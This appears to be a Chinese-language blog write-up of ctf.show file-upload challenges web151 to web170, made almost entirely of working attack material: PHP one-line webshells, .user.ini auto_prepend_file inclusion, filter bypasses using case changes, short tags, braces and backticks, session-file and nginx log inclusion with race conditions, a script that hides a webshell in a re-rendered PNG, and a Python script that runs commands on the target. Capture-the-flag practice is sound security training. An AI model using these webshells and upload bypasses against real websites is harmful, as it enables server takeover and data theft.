[huayang]
web151——152
写入一句话改为png格式
<?php
@eval(@$_POST['g']);
?>
上传并抓包并改包
连接蚁剑
web153
此题过滤了php后缀
首先创建一个.user.ini
GIF89a
auto_prepend_file=a.php
再创建一个a.png
<?php eval($_GET['a']);
上传抓包并改包
/upload/?a=system('nl ../flag.php');
web154
这次过滤了php,所以为什么非要写php呢
注意
这题更新过原本可以不用写php现在则需要大小写绕过
a.png
<?PHP eval($_GET['a']);
ini文件不变,抓包改包
/upload/?a=system('nl ../flag.php');
web155
这题直接正则了php所以直接去掉
a.php
<? eval($_GET['a']);
ini文件不变,抓包改包
/upload/?a=system('nl ../flag.php');
web156
这题过滤了中括号
用大括号绕过即可
a.png
<? eval($_GET{'a'});
ini文件不变,抓包改包
/upload/?a=system('nl ../flag.php');
web157-159
过滤了[]{}和;
我们可以用echo加反引号进行执行
;则可以用?>进行标记
a.png
<?echo `nl ../flag.ph\p`?>
配置文件不变
依旧抓包改包
直接访问即可
http://42c6a89d-65ce-47e6-b1d2-3480d28708d7.chall.ctf.show/upload
web160
感谢评论区的师傅给出解题方法
使用session即可解出,详情参照https://hellohy.top/huayang/1190.htmlweb82-86
1.上传.user.ini文件并包含a.png
2.上传a.png并包含session文件
3. 上传session进行包含利用
4.访问/upload/通过条件竞争即可得出flag
可能真正的图片文件也无法上传,因为过滤了php的
所以只要上传文件类内容不带php的即可
.user.ini
GIF89a
auto_prepend_file=a.png
a.png
<?=include"/tmp/sess_flag"?>
web161
a.pngt添加个文件头即可
GIF89a
<?=include"/tmp/sess_flag"?>
web162
过滤了点和flag
.user.ini
GIF89a
auto_prepend_file=png
a.png改为png
png
GIF89a
<?=include"/tmp/sess_fl0g"?>
web163
出了出了终于出了
和162差不多,多出一个条件竞争和过滤了cat(貌似,这个我没出来)
session改一下
把session和/upload/一直开启访问
千万别一直上传png
千万别一直上传png
千万别一直上传png
会报403的,我就进了之个坑
上面两个开启后再上传png就可以啦
这个长度
web164
考察png二次渲染
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
运行脚本会在此目录生成一个2.png文件
上传此文件
再跑一下即可
import re
import requests
url = 'http://157767b5-cec3-4668-a015-385c69042193.chall.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system'
r = requests.post(url,data={'1':'cat flag.php'})
flag = re.findall('.*?flag(.*?)}',r.text,re.S)
for i in flag:
print(i+'}')
web165
二次渲染jpg
参考
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
此题对图片的要求极大
建议脸黑勿做
web166
只能上传压缩包文件
a.zip
<?php eval($_POST[a]);?>
ZIP的: application/x-zip-compressed
RAR的: application/octet-stream
注意这后面不能留空格
测试一下
直接上蚁剑
web167
只能传jpg
2.jpg
AddType application/x-httpd-php .jpg
改为如下
2.jpg
GIF89a
<?php eval($_POST[a]);?>
web168
边上传就边访问
web169-170
只能传zip
线上传.user.ini文件包含日志文件
auto_prepend_file="/var/log/nginx/access.log"
改文件类型为image/png
然后再上传一个a.php文件,就把名字改为a.php就行了
访问url/upload/a.php
写入一句话
<?php system('cat ../f*');?>
[/huayang]
FROM:浅浅淡淡[hellohy]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论